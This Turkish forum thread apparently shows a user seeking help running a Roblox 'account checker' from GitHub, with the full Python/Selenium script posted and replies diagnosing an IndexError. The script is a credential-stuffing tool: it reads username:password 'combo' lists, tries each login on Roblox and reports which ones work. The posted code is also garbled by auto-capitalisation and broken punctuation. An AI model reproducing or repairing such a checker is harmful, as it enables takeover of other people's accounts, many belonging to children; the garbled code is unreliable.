Çözüldü Python Roblox account checker çalışmıyor

  • Konuyu başlatan Arqez
  • Başlangıç Tarihi
  • Mesaj 12
  • Görüntüleme 4.224
Bu konu çözüldü olarak işaretlenmiştir. Çözülmediğini düşünüyorsanız konuyu rapor edebilirsiniz.

Arqez

Centipat
Katılım
1 Temmuz 2023
Mesajlar
10
Daha fazla  
Cinsiyet
Erkek
Yukarıya yaptım yazdım fakat GitHub'dan indirdim ve kurdum yani yanlış kurmuş olabilirim. Çünkü çalışmıyor.
İndirdiğim yer GitHub - cchhaarroonn/XenonChecker: Roblox account checker made with Selenium
Şimdi bunun nasıl çalıştığını anlatayım combo.txt diye bir text dosyası var bu dosyanın içine hesaplarımızı giriyoruz örnek olarak.
Username: Password.
Arqez: ARQEZ12345.
Gibi.
Yani combo.txt bu işe yarıyor bir de main.py var sorun zaten main.pyde altta main.pynin içeriği görebilirsiniz.

From Selenium import webdriver.
From Selenium. Webdriver.common. By import by.
From Selenium.common. Exceptions import nosuchelementexception
From colorama import fore.
From time import sleep.
İmport OS.

Magenta = fore. Magenta.
Red = fore. Red.
Green = fore. Green.
Reset = fore. Reset.

Wındow_sıze = "1280, 720"
Options = webdriver.ChromeOptions()
Options. Add_argument("--window-size=%s" % wındow_sıze)
Options. Add_experimental_option('excludeswitches', ['enable-logging'])
Options. Add_experimental_option('detach', true)

Print(F"[*] {magenta}connecting...{reset}")
Sleep(3)
Print(F"[*] {magenta}Connected!{reset}\n\n")

OS. System("cls")
Print(F"""{magenta}
Welcome.

{Reset}""")

Comboname = str(input(F"{magenta}combolist name: {reset}"))
Combolist = open(comboname + ".txt", "r").readlines()

For combo in combolist:
Seq = combo.strip()
Acc = seq. Split(":")

Username = acc[0]
Password = acc[1]

Driver = webdriver. Chrome(options = options, executable_path=r'chromedriver.exe')
Driver. Get("Roblox")
Sleep(1)
Cookiebtn = driver. Find_element(by. Xpath, "//*[contains(text(), 'Accept All')]")
cookieBtn.click()

Usernameınput = driver. Find_element(by. Name, "username")
Usernameınput. Send_keys(username)
Passwordınput = driver. Find_element(by. Name, "password")
Passwordınput. Send_keys(password)
Lbtn = driver. Find_element(by. ID, "login-button");
lBtn.click()
Sleep(3)
Try:
Driver. Find_element(by. Xpath, "//p[@id='login-form-error']")
driver.close()
Print(F"[!] {red}bad: {combo} {reset}")
Except nosuchelementexception:
Print(F"[!] {Green}good: {combo} {reset}")
driver.close()

1698001838265.png


Terminale Python main.py yazıyorum ve kod çalışıyor sonra bana hesapların hangi dosyada olduğunu soruyor onu da yazıyorum fakat sonrasında şu hatayı alıyorum.

Combolist name: Combo.
Traceback (most recent call last):
File "C:\Users\minec\PycharmProjects\pythonProject1\main.py", line 45, in <module>
Password = acc[1]
~~~^^^
Indexerror: List index out of range.
(Venv) PS C:\Users\minec\PycharmProjects\pythonProject1>

chromedrive.exe diye bir exe dosyası var fakat ben bunu açtığımda CMD gibi bir yer açılıyor ve hiçbir şey yazamıyorum ne işe yaradığını anlamadım yardımcı olursanızın sevinirim.
 
Son düzenleyen: Moderatör:
Çözüm
Bende aynı hatayı alıyorum.comboda boşluk vb yok.

Yukarıdaki hataya bir daha baktım da sorun boşluk değil ama yine de combo sorunu.
Hatada söylediğine göre comboyu split ettikten sonra passworda erişemiyor.
Örneğin:
Abc123:xxxxx -> combo bu formatda değilse hata verir.
Yani abc123;xxxx veya abc123xxxx gibi.

Bunu çözmek için resimdeki gibi hata verebilecek yerlerde try catch kullanmak lazım.

Screenshot_20240731-165956_Chrome.png
Yukarıya yaptım yazdım fakat GitHub'dan indirdim ve kurdum yani yanlış kurmuş olabilirim. Çünkü çalışmıyor.
İndirdiğim yer GitHub - cchhaarroonn/XenonChecker: Roblox account checker made with Selenium
Şimdi bunun nasıl çalıştığını anlatayım combo.txt diye bir text dosyası var bu dosyanın içine hesaplarımızı giriyoruz örnek olarak.
Username: Password.
Arqez: Arqez12345.
Gibi.
Yani combo.txt bu işe yarıyor bir de main.py var sorun zaten main.pyde altta main.pynin içeriği görebilirsiniz.

Eki Görüntüle 1986757

Terminale Python main.py yazıyorum ve kod çalışıyor sonra bana hesapların hangi dosyada olduğunu soruyor onu da yazıyorum fakat sonrasında şu hatayı alıyorum.

chromedrive.exe diye bir exe dosyası var fakat ben bunu açtığımda CMD gibi bir yer açılıyor ve hiçbir şey yazamıyorum ne işe yaradığını anlamadım yardımcı olursanızın sevinirim.

combo.txt'nin içine girdiğiniz hesapların örneğini atabilir misiniz?
 
Yukarıya yaptım yazdım fakat GitHub'dan indirdim ve kurdum yani yanlış kurmuş olabilirim. Çünkü çalışmıyor.
İndirdiğim yer GitHub - cchhaarroonn/XenonChecker: Roblox account checker made with Selenium
Şimdi bunun nasıl çalıştığını anlatayım combo.txt diye bir text dosyası var bu dosyanın içine hesaplarımızı giriyoruz örnek olarak.
Username: Password.
Arqez: ARQEZ12345.
Gibi.
Yani combo.txt bu işe yarıyor bir de main.py var sorun zaten main.pyde altta main.pynin içeriği görebilirsiniz.



Eki Görüntüle 1986757

Terminale Python main.py yazıyorum ve kod çalışıyor sonra bana hesapların hangi dosyada olduğunu soruyor onu da yazıyorum fakat sonrasında şu hatayı alıyorum.



chromedrive.exe diye bir exe dosyası var fakat ben bunu açtığımda CMD gibi bir yer açılıyor ve hiçbir şey yazamıyorum ne işe yaradığını anlamadım yardımcı olursanızın sevinirim.
Bu tür konular yasak değil mi 🤪? Neyse sorun comboda boşluk olması.
 
Bende aynı hatayı alıyorum.comboda boşluk vb yok.

Yukarıdaki hataya bir daha baktım da sorun boşluk değil ama yine de combo sorunu.
Hatada söylediğine göre comboyu split ettikten sonra passworda erişemiyor.
Örneğin:
Abc123:xxxxx -> combo bu formatda değilse hata verir.
Yani abc123;xxxx veya abc123xxxx gibi.

Bunu çözmek için resimdeki gibi hata verebilecek yerlerde try catch kullanmak lazım.

Screenshot_20240731-165956_Chrome.png
 
Çözüm
Yukarıdaki hataya bir daha baktım da sorun boşluk değil ama yine de combo sorunu.
Hatada söylediğine göre comboyu split ettikten sonra passworda erişemiyor.
Örneğin:
Abc123:xxxxx -> combo bu formatda değilse hata verir.
Yani abc123;xxxx veya abc123xxxx gibi.

Bunu çözmek için resimdeki gibi hata verebilecek yerlerde try catch kullanmak lazım.

Eki Görüntüle 2269575
Comboda ki tüm satırlarda ":" var. Try catch nasıl kullanabilirim herhangi bir bilgim yok.
 
Comboda ki tüm satırlarda ":" var. Try catch nasıl kullanabilirim herhangi bir bilgim yok.
Python bilmiyorsan chatgpt senin için halleder.
 

Technopat Haberler

Geri
Yukarı